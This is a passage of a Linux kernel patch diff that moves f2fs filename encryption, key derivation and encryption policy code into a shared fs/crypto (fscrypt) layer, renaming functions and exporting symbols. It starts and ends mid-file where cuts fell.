inode->i_sb->s_blocksize : - F2FS_NAME_LEN; -} - /** - * f2fs_fname_encrypt() - + * fname_encrypt() - encrypt a filename + * + * The caller must have allocated sufficient memory for the @oname string. * - * This function encrypts the input filename, and returns the length of the - * ciphertext. Errors are returned as negative numbers. We trust the caller to - * allocate sufficient memory to oname string. + * Return: 0 on success, -errno on failure */ -static int f2fs_fname_encrypt(struct inode *inode, - const struct qstr *iname, struct f2fs_str *oname) +static int fname_encrypt(struct inode *inode, + const struct qstr *iname, struct fscrypt_str *oname) { u32 ciphertext_len; struct ablkcipher_request *req = NULL; - DECLARE_F2FS_COMPLETION_RESULT(ecr); - struct f2fs_crypt_info *ci = F2FS_I(inode)->i_crypt_info; + DECLARE_FS_COMPLETION_RESULT(ecr); + struct fscrypt_info *ci = inode->i_crypt_info; struct crypto_ablkcipher *tfm = ci->ci_ctfm; int res = 0; - char iv[F2FS_CRYPTO_BLOCK_SIZE]; + char iv[FS_CRYPTO_BLOCK_SIZE]; struct scatterlist src_sg, dst_sg; - int padding = 4 << (ci->ci_flags & F2FS_POLICY_FLAGS_PAD_MASK); + int padding = 4 << (ci->ci_flags & FS_POLICY_FLAGS_PAD_MASK); char *workbuf, buf[32], *alloc_buf = NULL; - unsigned lim = max_name_len(inode); + unsigned lim; + lim = inode->i_sb->s_cop->max_namelen(inode); if (iname->len <= 0 || iname->len > lim) return -EIO; - ciphertext_len = (iname->len < F2FS_CRYPTO_BLOCK_SIZE) ? - F2FS_CRYPTO_BLOCK_SIZE : iname->len; - ciphertext_len = f2fs_fname_crypto_round_up(ciphertext_len, padding); - ciphertext_len = (ciphertext_len > lim) ? lim : ciphertext_len; + ciphertext_len = max(iname->len, (u32)FS_CRYPTO_BLOCK_SIZE); + ciphertext_len = round_up(ciphertext_len, padding); + ciphertext_len = min(ciphertext_len, lim); if (ciphertext_len <= sizeof(buf)) { workbuf = buf; @@ -108,7 +83,7 @@ static int f2fs_fname_encrypt(struct inode *inode, } ablkcipher_request_set_callback(req, CRYPTO_TFM_REQ_MAY_BACKLOG | CRYPTO_TFM_REQ_MAY_SLEEP, - f2fs_dir_crypt_complete, &ecr); + fname_crypt_complete, &ecr); /* Copy the input */ memcpy(workbuf, iname->name, iname->len); @@ -116,7 +91,7 @@ static int f2fs_fname_encrypt(struct inode *inode, memset(workbuf + iname->len, 0, ciphertext_len - iname->len); /* Initialize IV */ - memset(iv, 0, F2FS_CRYPTO_BLOCK_SIZE); + memset(iv, 0, FS_CRYPTO_BLOCK_SIZE); /* Create encryption request */ sg_init_one(&src_sg, workbuf, ciphertext_len); @@ -124,7 +99,6 @@ static int f2fs_fname_encrypt(struct inode *inode, ablkcipher_request_set_crypt(req, &src_sg, &dst_sg, ciphertext_len, iv); res = crypto_ablkcipher_encrypt(req); if (res == -EINPROGRESS || res == -EBUSY) { - BUG_ON(req->base.data != &ecr); wait_for_completion(&ecr.completion); res = ecr.res; } @@ -133,30 +107,34 @@ static int f2fs_fname_encrypt(struct inode *inode, if (res < 0) { printk_ratelimited(KERN_ERR "%s: Error (error code %d)\n", __func__, res); + return res; } + oname->len = ciphertext_len; - return res; + return 0; } -/* - * f2fs_fname_decrypt() - * This function decrypts the input filename, and returns - * the length of the plaintext. - * Errors are returned as negative numbers. - * We trust the caller to allocate sufficient memory to oname string. +/** + * fname_decrypt() - decrypt a filename + * + * The caller must have allocated sufficient memory for the @oname string. + * + * Return: 0 on success, -errno on failure */ -static int f2fs_fname_decrypt(struct inode *inode, - const struct f2fs_str *iname, struct f2fs_str *oname) +static int fname_decrypt(struct inode *inode, + const struct fscrypt_str *iname, + struct fscrypt_str *oname) { struct ablkcipher_request *req = NULL; - DECLARE_F2FS_COMPLETION_RESULT(ecr); + DECLARE_FS_COMPLETION_RESULT(ecr); struct scatterlist src_sg, dst_sg; - struct f2fs_crypt_info *ci = F2FS_I(inode)->i_crypt_info; + struct fscrypt_info *ci = inode->i_crypt_info; struct crypto_ablkcipher *tfm = ci->ci_ctfm; int res = 0; - char iv[F2FS_CRYPTO_BLOCK_SIZE]; - unsigned lim = max_name_len(inode); + char iv[FS_CRYPTO_BLOCK_SIZE]; + unsigned lim; + lim = inode->i_sb->s_cop->max_namelen(inode); if (iname->len <= 0 || iname->len > lim) return -EIO; @@ -169,10 +147,10 @@ static int f2fs_fname_decrypt(struct inode *inode, } ablkcipher_request_set_callback(req, CRYPTO_TFM_REQ_MAY_BACKLOG | CRYPTO_TFM_REQ_MAY_SLEEP, - f2fs_dir_crypt_complete, &ecr); + fname_crypt_complete, &ecr); /* Initialize IV */ - memset(iv, 0, F2FS_CRYPTO_BLOCK_SIZE); + memset(iv, 0, FS_CRYPTO_BLOCK_SIZE); /* Create decryption request */ sg_init_one(&src_sg, iname->name, iname->len); @@ -180,27 +158,25 @@ static int f2fs_fname_decrypt(struct inode *inode, ablkcipher_request_set_crypt(req, &src_sg, &dst_sg, iname->len, iv); res = crypto_ablkcipher_decrypt(req); if (res == -EINPROGRESS || res == -EBUSY) { - BUG_ON(req->base.data != &ecr); wait_for_completion(&ecr.completion); res = ecr.res; } ablkcipher_request_free(req); if (res < 0) { printk_ratelimited(KERN_ERR - "%s: Error in f2fs_fname_decrypt (error code %d)\n", - __func__, res); + "%s: Error (error code %d)\n", __func__, res); return res; } oname->len = strnlen(oname->name, iname->len); - return oname->len; + return 0; } static const char *lookup_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+,"; /** - * f2fs_fname_encode_digest() - + * digest_encode() - * * Encodes the input digest using characters from the set [a-zA-Z0-9_+]. * The encoded string is roughly 4/3 times the size of the input string. @@ -249,149 +225,158 @@ static int digest_decode(const char *src, int len, char *dst) return cp - dst; } -/** - * f2fs_fname_crypto_round_up() - - * - * Return: The next multiple of block size - */ -u32 f2fs_fname_crypto_round_up(u32 size, u32 blksize) +u32 fscrypt_fname_encrypted_size(struct inode *inode, u32 ilen) { - return ((size + blksize - 1) / blksize) * blksize; + int padding = 32; + struct fscrypt_info *ci = inode->i_crypt_info; + + if (ci) + padding = 4 << (ci->ci_flags & FS_POLICY_FLAGS_PAD_MASK); + ilen = max(ilen, (u32)FS_CRYPTO_BLOCK_SIZE); + return round_up(ilen, padding); } +EXPORT_SYMBOL(fscrypt_fname_encrypted_size); /** - * f2fs_fname_crypto_alloc_obuff() - + * fscrypt_fname_crypto_alloc_obuff() - * * Allocates an output buffer that is sufficient for the crypto operation * specified by the context and the direction. */ -int f2fs_fname_crypto_alloc_buffer(struct inode *inode, - u32 ilen, struct f2fs_str *crypto_str) +int fscrypt_fname_alloc_buffer(struct inode *inode, + u32 ilen, struct fscrypt_str *crypto_str) { - unsigned int olen; - int padding = 16; - struct f2fs_crypt_info *ci = F2FS_I(inode)->i_crypt_info; + unsigned int olen = fscrypt_fname_encrypted_size(inode, ilen); - if (ci) - padding = 4 << (ci->ci_flags & F2FS_POLICY_FLAGS_PAD_MASK); - if (padding < F2FS_CRYPTO_BLOCK_SIZE) - padding = F2FS_CRYPTO_BLOCK_SIZE; - olen = f2fs_fname_crypto_round_up(ilen, padding); crypto_str->len = olen; - if (olen < F2FS_FNAME_CRYPTO_DIGEST_SIZE * 2) - olen = F2FS_FNAME_CRYPTO_DIGEST_SIZE * 2; - /* Allocated buffer can hold one more character to null-terminate the - * string */ + if (olen < FS_FNAME_CRYPTO_DIGEST_SIZE * 2) + olen = FS_FNAME_CRYPTO_DIGEST_SIZE * 2; + /* + * Allocated buffer can hold one more character to null-terminate the + * string + */ crypto_str->name = kmalloc(olen + 1, GFP_NOFS); if (!(crypto_str->name)) return -ENOMEM; return 0; } +EXPORT_SYMBOL(fscrypt_fname_alloc_buffer); /** - * f2fs_fname_crypto_free_buffer() - + * fscrypt_fname_crypto_free_buffer() - * * Frees the buffer allocated for crypto operation. */ -void f2fs_fname_crypto_free_buffer(struct f2fs_str *crypto_str) +void fscrypt_fname_free_buffer(struct fscrypt_str *crypto_str) { if (!crypto_str) return; kfree(crypto_str->name); crypto_str->name = NULL; } +EXPORT_SYMBOL(fscrypt_fname_free_buffer); /** - * f2fs_fname_disk_to_usr() - converts a filename from disk space to user space + * fscrypt_fname_disk_to_usr() - converts a filename from disk space to user + * space + * + * The caller must have allocated sufficient memory for the @oname string. + * + * Return: 0 on success, -errno on failure */ -int f2fs_fname_disk_to_usr(struct inode *inode, - f2fs_hash_t *hash, - const struct f2fs_str *iname, - struct f2fs_str *oname) +int fscrypt_fname_disk_to_usr(struct inode *inode, + u32 hash, u32 minor_hash, + const struct fscrypt_str *iname, + struct fscrypt_str *oname) { const struct qstr qname = FSTR_TO_QSTR(iname); char buf[24]; - int ret; - if (is_dot_dotdot(&qname)) { + if (fscrypt_is_dot_dotdot(&qname)) { oname->name[0] = '.'; oname->name[iname->len - 1] = '.'; oname->len = iname->len; - return oname->len; + return 0; } - if (F2FS_I(inode)->i_crypt_info) - return f2fs_fname_decrypt(inode, iname, oname); + if (iname->len < FS_CRYPTO_BLOCK_SIZE) + return -EUCLEAN; - if (iname->len <= F2FS_FNAME_CRYPTO_DIGEST_SIZE) { - ret = digest_encode(iname->name, iname->len, oname->name); - oname->len = ret; - return ret; + if (inode->i_crypt_info) + return fname_decrypt(inode, iname, oname); + + if (iname->len <= FS_FNAME_CRYPTO_DIGEST_SIZE) { + oname->len = digest_encode(iname->name, iname->len, + oname->name); + return 0; } if (hash) { - memcpy(buf, hash, 4); - memset(buf + 4, 0, 4); - } else + memcpy(buf, &hash, 4); + memcpy(buf + 4, &minor_hash, 4); + } else { memset(buf, 0, 8); + } memcpy(buf + 8, iname->name + iname->len - 16, 16); oname->name[0] = '_'; - ret = digest_encode(buf, 24, oname->name + 1); - oname->len = ret + 1; - return ret + 1; + oname->len = 1 + digest_encode(buf, 24, oname->name + 1); + return 0; } +EXPORT_SYMBOL(fscrypt_fname_disk_to_usr); /** - * f2fs_fname_usr_to_disk() - converts a filename from user space to disk space + * fscrypt_fname_usr_to_disk() - converts a filename from user space to disk + * space + * + * The caller must have allocated sufficient memory for the @oname string. + * + * Return: 0 on success, -errno on failure */ -int f2fs_fname_usr_to_disk(struct inode *inode, +int fscrypt_fname_usr_to_disk(struct inode *inode, const struct qstr *iname, - struct f2fs_str *oname) + struct fscrypt_str *oname) { - int res; - struct f2fs_crypt_info *ci = F2FS_I(inode)->i_crypt_info; - - if (is_dot_dotdot(iname)) { + if (fscrypt_is_dot_dotdot(iname)) { oname->name[0] = '.'; oname->name[iname->len - 1] = '.'; oname->len = iname->len; - return oname->len; - } - - if (ci) { - res = f2fs_fname_encrypt(inode, iname, oname); - return res; + return 0; } - /* Without a proper key, a user is not allowed to modify the filenames + if (inode->i_crypt_info) + return fname_encrypt(inode, iname, oname); + /* + * Without a proper key, a user is not allowed to modify the filenames * in a directory. Consequently, a user space name cannot be mapped to - * a disk-space name */ + * a disk-space name + */ return -EACCES; } +EXPORT_SYMBOL(fscrypt_fname_usr_to_disk); -int f2fs_fname_setup_filename(struct inode *dir, const struct qstr *iname, - int lookup, struct f2fs_filename *fname) +int fscrypt_setup_filename(struct inode *dir, const struct qstr *iname, + int lookup, struct fscrypt_name *fname) { - struct f2fs_crypt_info *ci; int ret = 0, bigname = 0; - memset(fname, 0, sizeof(struct f2fs_filename)); + memset(fname, 0, sizeof(struct fscrypt_name)); fname->usr_fname = iname; - if (!f2fs_encrypted_inode(dir) || is_dot_dotdot(iname)) { + if (!dir->i_sb->s_cop->is_encrypted(dir) || + fscrypt_is_dot_dotdot(iname)) { fname->disk_name.name = (unsigned char *)iname->name; fname->disk_name.len = iname->len; return 0; } - ret = f2fs_get_encryption_info(dir); - if (ret) + ret = get_crypt_info(dir); + if (ret && ret != -EOPNOTSUPP) return ret; - ci = F2FS_I(dir)->i_crypt_info; - if (ci) { - ret = f2fs_fname_crypto_alloc_buffer(dir, iname->len, - &fname->crypto_buf); - if (ret < 0) + + if (dir->i_crypt_info) { + ret = fscrypt_fname_alloc_buffer(dir, iname->len, + &fname->crypto_buf); + if (ret) return ret; - ret = f2fs_fname_encrypt(dir, iname, &fname->crypto_buf); - if (ret < 0) + ret = fname_encrypt(dir, iname, &fname->crypto_buf); + if (ret) goto errout; fname->disk_name.name = fname->crypto_buf.name; fname->disk_name.len = fname->crypto_buf.len; @@ -400,18 +385,19 @@ int f2fs_fname_setup_filename(struct inode *dir, const struct qstr *iname, if (!lookup) return -EACCES; - /* We don't have the key and we are doing a lookup; decode the + /* + * We don't have the key and we are doing a lookup; decode the * user-supplied name */ if (iname->name[0] == '_') bigname = 1; - if ((bigname && (iname->len != 33)) || - (!bigname && (iname->len > 43))) + if ((bigname && (iname->len != 33)) || (!bigname && (iname->len > 43))) return -ENOENT; fname->crypto_buf.name = kmalloc(32, GFP_KERNEL); if (fname->crypto_buf.name == NULL) return -ENOMEM; + ret = digest_decode(iname->name + bigname, iname->len - bigname, fname->crypto_buf.name); if (ret < 0) { @@ -421,20 +407,24 @@ int f2fs_fname_setup_filename(struct inode *dir, const struct qstr *iname, fname->crypto_buf.len = ret; if (bigname) { memcpy(&fname->hash, fname->crypto_buf.name, 4); + memcpy(&fname->minor_hash, fname->crypto_buf.name + 4, 4); } else { fname->disk_name.name = fname->crypto_buf.name; fname->disk_name.len = fname->crypto_buf.len; } return 0; + errout: - f2fs_fname_crypto_free_buffer(&fname->crypto_buf); + fscrypt_fname_free_buffer(&fname->crypto_buf); return ret; } +EXPORT_SYMBOL(fscrypt_setup_filename); -void f2fs_fname_free_filename(struct f2fs_filename *fname) +void fscrypt_free_filename(struct fscrypt_name *fname) { kfree(fname->crypto_buf.name); fname->crypto_buf.name = NULL; fname->usr_fname = NULL; fname->disk_name.name = NULL; } +EXPORT_SYMBOL(fscrypt_free_filename); diff --git a/fs/crypto/keyinfo.c b/fs/crypto/keyinfo.c new file mode 100644 index 0000000000000..6a7ee212e65aa --- /dev/null +++ b/fs/crypto/keyinfo.c @@ -0,0 +1,329 @@ +/* + * key management facility for FS encryption support. + * + * Copyright (C) 2015, Google, Inc. + * + * This contains encryption key functions. + * + * Written by Michael Halcrow, Ildar Muslukhov, and Uday Savagaonkar, 2015. + */ + +#include +#include +#include +#include +#include +#include +#include + +static void derive_crypt_complete(struct crypto_async_request *req, int rc) +{ + struct fscrypt_completion_result *ecr = req->data; + + if (rc == -EINPROGRESS) + return; + + ecr->res = rc; + complete(&ecr->completion); +} + +/** + * derive_key_aes() - Derive a key using AES-128-ECB + * @deriving_key: Encryption key used for derivation. + * @source_key: Source key to which to apply derivation. + * @derived_key: Derived key. + * + * Return: Zero on success; non-zero otherwise. + */ +static int derive_key_aes(u8 deriving_key[FS_AES_128_ECB_KEY_SIZE], + u8 source_key[FS_AES_256_XTS_KEY_SIZE], + u8 derived_key[FS_AES_256_XTS_KEY_SIZE]) +{ + int res = 0; + struct ablkcipher_request *req = NULL; + DECLARE_FS_COMPLETION_RESULT(ecr); + struct scatterlist src_sg, dst_sg; + struct crypto_ablkcipher *tfm = crypto_alloc_ablkcipher("ecb(aes)", 0, + 0); + + if (IS_ERR(tfm)) { + res = PTR_ERR(tfm); + tfm = NULL; + goto out; + } + crypto_ablkcipher_set_flags(tfm, CRYPTO_TFM_REQ_WEAK_KEY); + req = ablkcipher_request_alloc(tfm, GFP_NOFS); + if (!req) { + res = -ENOMEM; + goto out; + } + ablkcipher_request_set_callback(req, + CRYPTO_TFM_REQ_MAY_BACKLOG | CRYPTO_TFM_REQ_MAY_SLEEP, + derive_crypt_complete, &ecr); + res = crypto_ablkcipher_setkey(tfm, deriving_key, + FS_AES_128_ECB_KEY_SIZE); + if (res < 0) + goto out; + + sg_init_one(&src_sg, source_key, FS_AES_256_XTS_KEY_SIZE); + sg_init_one(&dst_sg, derived_key, FS_AES_256_XTS_KEY_SIZE); + ablkcipher_request_set_crypt(req, &src_sg, &dst_sg, + FS_AES_256_XTS_KEY_SIZE, NULL); + res = crypto_ablkcipher_encrypt(req); + if (res == -EINPROGRESS || res == -EBUSY) { + wait_for_completion(&ecr.completion); + res = ecr.res; + } +out: + ablkcipher_request_free(req); + crypto_free_ablkcipher(tfm); + return res; +} + +static int validate_user_key(struct fscrypt_info *crypt_info, + struct fscrypt_context *ctx, u8 *raw_key, + u8 *prefix, int prefix_size) +{ + u8 *full_key_descriptor; + struct key *keyring_key; + struct fscrypt_key *master_key; + const struct user_key_payload *ukp; + int full_key_len = prefix_size + (FS_KEY_DESCRIPTOR_SIZE * 2) + 1; + int res; + + full_key_descriptor = kmalloc(full_key_len, GFP_NOFS); + if (!full_key_descriptor) + return -ENOMEM; + + memcpy(full_key_descriptor, prefix, prefix_size); + sprintf(full_key_descriptor + prefix_size, + "%*phN", FS_KEY_DESCRIPTOR_SIZE, + ctx->master_key_descriptor); + full_key_descriptor[full_key_len - 1] = '\0'; + keyring_key = request_key(&key_type_logon, full_key_descriptor, NULL); + kfree(full_key_descriptor); + if (IS_ERR(keyring_key)) + return PTR_ERR(keyring_key); + + if (keyring_key->type != &key_type_logon) { + printk_once(KERN_WARNING + "%s: key type must be logon\n", __func__); + res = -ENOKEY; + goto out; + } + down_read(&keyring_key->sem); + ukp = ((struct user_key_payload *)keyring_key->payload.data); + if (ukp->datalen != sizeof(struct fscrypt_key)) { + res = -EINVAL; + up_read(&keyring_key->sem); + goto out; + } + master_key = (struct fscrypt_key *)ukp->data; + BUILD_BUG_ON(FS_AES_128_ECB_KEY_SIZE != FS_KEY_DERIVATION_NONCE_SIZE); + + if (master_key->size != FS_AES_256_XTS_KEY_SIZE) { + printk_once(KERN_WARNING + "%s: key size incorrect: %d\n", + __func__, master_key->size); + res = -ENOKEY; + up_read(&keyring_key->sem); + goto out; + } + res = derive_key_aes(ctx->nonce, master_key->raw, raw_key); + up_read(&keyring_key->sem); + if (res) + goto out; + + crypt_info->ci_keyring_key = keyring_key; + return 0; +out: + key_put(keyring_key); + return res; +} + +static int determine_cipher_type(struct fscrypt_info *ci, struct inode *inode, + const char **cipher_str_ret, int *keysize_ret) +{ + if (S_ISREG(inode->i_mode)) { + if (ci->ci_data_mode == FS_ENCRYPTION_MODE_AES_256_XTS) { + *cipher_str_ret = "xts(aes)"; + *keysize_ret = FS_AES_256_XTS_KEY_SIZE; + return 0; + } + pr_warn_once("fscrypto: unsupported contents encryption mode " + "%d for inode %lu\n", + ci->ci_data_mode, inode->i_ino); + return -ENOKEY; + } + + if (S_ISDIR(inode->i_mode) || S_ISLNK(inode->i_mode)) { + if (ci->ci_filename_mode == FS_ENCRYPTION_MODE_AES_256_CTS) { + *cipher_str_ret = "cts(cbc(aes))"; + *keysize_ret = FS_AES_256_CTS_KEY_SIZE; + return 0; + } + pr_warn_once("fscrypto: unsupported filenames encryption mode " + "%d for inode %lu\n", + ci->ci_filename_mode, inode->i_ino); + return -ENOKEY; + } + + pr_warn_once("fscrypto: unsupported file type %d for inode %lu\n", + (inode->i_mode & S_IFMT), inode->i_ino); + return -ENOKEY; +} + +static void put_crypt_info(struct fscrypt_info *ci) +{ + if (!ci) + return; + + key_put(ci->ci_keyring_key); + crypto_free_ablkcipher(ci->ci_ctfm); + kmem_cache_free(fscrypt_info_cachep, ci); +} + +int get_crypt_info(struct inode *inode) +{ + struct fscrypt_info *crypt_info; + struct fscrypt_context ctx; + struct crypto_ablkcipher *ctfm; + const char *cipher_str; + int keysize; + u8 raw_key[FS_MAX_KEY_SIZE]; + int res; + + res = fscrypt_initialize(); + if (res) + return res; + + if (!inode->i_sb->s_cop->get_context) + return -EOPNOTSUPP; +retry: + crypt_info = ACCESS_ONCE(inode->i_crypt_info); + if (crypt_info) { + if (!crypt_info->ci_keyring_key || + key_validate(crypt_info->ci_keyring_key) == 0) + return 0; + fscrypt_put_encryption_info(inode, crypt_info); + goto retry; + } + + res = inode->i_sb->s_cop->get_context(inode, &ctx, sizeof(ctx)); + if (res < 0) { + if (!fscrypt_dummy_context_enabled(inode)) + return res; + ctx.format = FS_ENCRYPTION_CONTEXT_FORMAT_V1; + ctx.contents_encryption_mode = FS_ENCRYPTION_MODE_AES_256_XTS; + ctx.filenames_encryption_mode = FS_ENCRYPTION_MODE_AES_256_CTS; + ctx.flags = 0; + } else if (res != sizeof(ctx)) { + return -EINVAL; + } + + if (ctx.format != FS_ENCRYPTION_CONTEXT_FORMAT_V1) + return -EINVAL; + + if (ctx.flags & ~FS_POLICY_FLAGS_VALID) + return -EINVAL; + + crypt_info = kmem_cache_alloc(fscrypt_info_cachep, GFP_NOFS); + if (!crypt_info) + return -ENOMEM; + + crypt_info->ci_flags = ctx.flags; + crypt_info->ci_data_mode = ctx.contents_encryption_mode; + crypt_info->ci_filename_mode = ctx.filenames_encryption_mode; + crypt_info->ci_ctfm = NULL; + crypt_info->ci_keyring_key = NULL; + memcpy(crypt_info->ci_master_key, ctx.master_key_descriptor, + sizeof(crypt_info->ci_master_key)); + + res = determine_cipher_type(crypt_info, inode, &cipher_str, &keysize); + if (res) + goto out; + + if (fscrypt_dummy_context_enabled(inode)) { + memset(raw_key, 0x42, FS_AES_256_XTS_KEY_SIZE); + goto got_key; + } + + res = validate_user_key(crypt_info, &ctx, raw_key, + FS_KEY_DESC_PREFIX, FS_KEY_DESC_PREFIX_SIZE); + if (res && inode->i_sb->s_cop->key_prefix) { + u8 *prefix = NULL; + int prefix_size, res2; + + prefix_size = inode->i_sb->s_cop->key_prefix(inode, &prefix); + res2 = validate_user_key(crypt_info, &ctx, raw_key, + prefix, prefix_size); + if (res2) { + if (res2 == -ENOKEY) + res = -ENOKEY; + goto out; + } + } else if (res) { + goto out; + } +got_key: + ctfm = crypto_alloc_ablkcipher(cipher_str, 0, 0); + if (!ctfm || IS_ERR(ctfm)) { + res = ctfm ? PTR_ERR(ctfm) : -ENOMEM; + printk(KERN_DEBUG + "%s: error %d (inode %u) allocating crypto tfm\n", + __func__, res, (unsigned) inode->i_ino); + goto out; + } + crypt_info->ci_ctfm = ctfm; + crypto_ablkcipher_clear_flags(ctfm, ~0); + crypto_tfm_set_flags(crypto_ablkcipher_tfm(ctfm), + CRYPTO_TFM_REQ_WEAK_KEY); + res = crypto_ablkcipher_setkey(ctfm, raw_key, keysize); + if (res) + goto out; + + memzero_explicit(raw_key, sizeof(raw_key)); + if (cmpxchg(&inode->i_crypt_info, NULL, crypt_info) != NULL) { + put_crypt_info(crypt_info); + goto retry; + } + return 0; + +out: + if (res == -ENOKEY) + res = 0; + put_crypt_info(crypt_info); + memzero_explicit(raw_key, sizeof(raw_key)); + return res; +} + +void fscrypt_put_encryption_info(struct inode *inode, struct fscrypt_info *ci) +{ + struct fscrypt_info *prev; + + if (ci == NULL) + ci = ACCESS_ONCE(inode->i_crypt_info); + if (ci == NULL) + return; + + prev = cmpxchg(&inode->i_crypt_info, ci, NULL); + if (prev != ci) + return; + + put_crypt_info(ci); +} +EXPORT_SYMBOL(fscrypt_put_encryption_info); + +int fscrypt_get_encryption_info(struct inode *inode) +{ + struct fscrypt_info *ci = inode->i_crypt_info; + + if (!ci || + (ci->ci_keyring_key && + (ci->ci_keyring_key->flags & ((1 << KEY_FLAG_INVALIDATED) | + (1 << KEY_FLAG_REVOKED) | + (1 << KEY_FLAG_DEAD))))) + return get_crypt_info(inode); + return 0; +} +EXPORT_SYMBOL(fscrypt_get_encryption_info); diff --git a/fs/crypto/policy.c b/fs/crypto/policy.c new file mode 100644 index 0000000000000..07e58dd1c3569 --- /dev/null +++ b/fs/crypto/policy.c @@ -0,0 +1,246 @@ +/* + * Encryption policy functions for per-file encryption support. + * + * Copyright (C) 2015, Google, Inc. + * Copyright (C) 2015, Motorola Mobility. + * + * Written by Michael Halcrow, 2015. + * Modified by Jaegeuk Kim, 2015. + */ + +#include +#include +#include +#include + +static int inode_has_encryption_context(struct inode *inode) +{ + if (!inode->i_sb->s_cop->get_context) + return 0; + return (inode->i_sb->s_cop->get_context(inode, NULL, 0L) > 0); +} + +/* + * check whether the policy is consistent with the encryption context + * for the inode + */ +static int is_encryption_context_consistent_with_policy(struct inode *inode, + const struct fscrypt_policy *policy) +{ + struct fscrypt_context ctx; + int res; + + if (!inode->i_sb->s_cop->get_context) + return 0; + + res = inode->i_sb->s_cop->get_context(inode, &ctx, sizeof(ctx)); + if (res != sizeof(ctx)) + return 0; + + return (memcmp(ctx.master_key_descriptor, policy->master_key_descriptor, + FS_KEY_DESCRIPTOR_SIZE) == 0 && + (ctx.flags == policy->flags) && + (ctx.contents_encryption_mode == + policy->contents_encryption_mode) && + (ctx.filenames_encryption_mode == + policy->filenames_encryption_mode)); +} + +static int create_encryption_context_from_policy(struct inode *inode, + const struct fscrypt_policy *policy) +{ + struct fscrypt_context ctx; + int res; + + if (!inode->i_sb->s_cop->set_context) + return -EOPNOTSUPP; + + if (inode->i_sb->s_cop->prepare_context) { + res = inode->i_sb->s_cop->prepare_context(inode); + if (res) + return res; + } + + ctx.format = FS_ENCRYPTION_CONTEXT_FORMAT_V1; + memcpy(ctx.master_key_descriptor, policy->master_key_descriptor, + FS_KEY_DESCRIPTOR_SIZE); + + if (!fscrypt_valid_contents_enc_mode( + policy->contents_encryption_mode)) { + printk(KERN_WARNING + "%s: Invalid contents encryption mode %d\n", __func__, + policy->contents_encryption_mode); + return -EINVAL; + } + + if (!fscrypt_valid_filenames_enc_mode( + policy->filenames_encryption_mode)) { + printk(KERN_WARNING + "%s: Invalid filenames encryption mode %d\n", __func__, + policy->filenames_encryption_mode); + return -EINVAL; + } + + if (policy->flags & ~FS_POLICY_FLAGS_VALID) + return -EINVAL; + + ctx.contents_encryption_mode = policy->contents_encryption_mode; + ctx.filenames_encryption_mode = policy->filenames_encryption_mode; + ctx.flags = policy->flags; + BUILD_BUG_ON(sizeof(ctx.nonce) != FS_KEY_DERIVATION_NONCE_SIZE); + get_random_bytes(ctx.nonce, FS_KEY_DERIVATION_NONCE_SIZE); + + return inode->i_sb->s_cop->set_context(inode, &ctx, sizeof(ctx), NULL); +} + +int fscrypt_process_policy(struct file *filp, + const struct fscrypt_policy *policy) +{ + struct inode *inode = file_inode(filp); + int ret; + + if (!inode_owner_or_capable(inode)) + return -EACCES; + + if (policy->version != 0) + return -EINVAL; + + ret = mnt_want_write_file(filp); + if (ret) + return ret; + + if (!inode_has_encryption_context(inode)) { + if (!S_ISDIR(inode->i_mode)) + ret = -EINVAL; + else if (!inode->i_sb->s_cop->empty_dir) + ret = -EOPNOTSUPP; + else if (!inode->i_sb->s_cop->empty_dir(inode)) + ret = -ENOTEMPTY; + else + ret = create_encryption_context_from_policy(inode, + policy); + } else if (!is_encryption_context_consistent_with_policy(inode, + policy)) { + printk(KERN_WARNING + "%s: Policy inconsistent with encryption context\n", + __func__); + ret = -EOPNOTSUPP; + } + + mnt_drop_write_file(filp); + return ret; +} +EXPORT_SYMBOL(fscrypt_process_policy); + +int fscrypt_get_policy(struct inode *inode, struct fscrypt_policy *policy) +{ + struct fscrypt_context ctx; + int res; + + if (!inode->i_sb->s_cop->get_context || + !inode->i_sb->s_cop->is_encrypted(inode)) + return -ENODATA; + + res = inode->i_sb->s_cop->get_context(inode, &ctx, sizeof(ctx)); + if (res != sizeof(ctx)) + return -ENODATA; + if (ctx.format != FS_ENCRYPTION_CONTEXT_FORMAT_V1) + return -EINVAL; + + policy->version = 0; + policy->contents_encryption_mode = ctx.contents_encryption_mode; + policy->filenames_encryption_mode = ctx.filenames_encryption_mode; + policy->flags = ctx.flags; + memcpy(&policy->master_key_descriptor, ctx.master_key_descriptor, + FS_KEY_DESCRIPTOR_SIZE); + return 0; +} +EXPORT_SYMBOL(fscrypt_get_policy); + +int fscrypt_has_permitted_context(struct inode *parent, struct inode *child) +{ + struct fscrypt_info *parent_ci, *child_ci; + int res; + + if ((parent == NULL) || (child == NULL)) { + printk(KERN_ERR "parent %p child %p\n", parent, child); + BUG_ON(1); + } + + /* no restrictions if the parent directory is not encrypted */ + if (!parent->i_sb->s_cop->is_encrypted(parent)) + return 1; + /* if the child directory is not encrypted, this is always a problem */ + if (!parent->i_sb->s_cop->is_encrypted(child)) + return 0; + res = fscrypt_get_encryption_info(parent); + if (res) + return 0; + res = fscrypt_get_encryption_info(child); + if (res) + return 0; + parent_ci = parent->i_crypt_info; + child_ci = child->i_crypt_info; + if (!parent_ci && !child_ci) + return 1; + if (!parent_ci || !child_ci) + return 0; + + return (memcmp(parent_ci->ci_master_key, + child_ci->ci_master_key, + FS_KEY_DESCRIPTOR_SIZE) == 0 && + (parent_ci->ci_data_mode == child_ci->ci_data_mode) && + (parent_ci->ci_filename_mode == child_ci->ci_filename_mode) && + (parent_ci->ci_flags == child_ci->ci_flags)); +} +EXPORT_SYMBOL(fscrypt_has_permitted_context); + +/** + * fscrypt_inherit_context() - Sets a child context from its parent + * @parent: Parent inode from which the context is inherited. + * @child: Child inode that inherits the context from @parent. + * @fs_data: private data given by FS. + * @preload: preload child i_crypt_info + * + * Return: Zero on success, non-zero otherwise + */ +int fscrypt_inherit_context(struct inode *parent, struct inode *child, + void *fs_data, bool preload) +{ + struct fscrypt_context ctx; + struct fscrypt_info *ci; + int res; + + if (!parent->i_sb->s_cop->set_context) + return -EOPNOTSUPP; + + res = fscrypt_get_encryption_info(parent); + if (res < 0) + return res; + + ci = parent->i_crypt_info; + if (ci == NULL) + return -ENOKEY; + + ctx.format = FS_ENCRYPTION_CONTEXT_FORMAT_V1; + if (fscrypt_dummy_context_enabled(parent)) { + ctx.contents_encryption_mode = FS_ENCRYPTION_MODE_AES_256_XTS; + ctx.filenames_encryption_mode = FS_ENCRYPTION_MODE_AES_256_CTS; + ctx.flags = 0; + memset(ctx.master_key_descriptor, 0x42, FS_KEY_DESCRIPTOR_SIZE); + res = 0; + } else { + ctx.contents_encryption_mode = 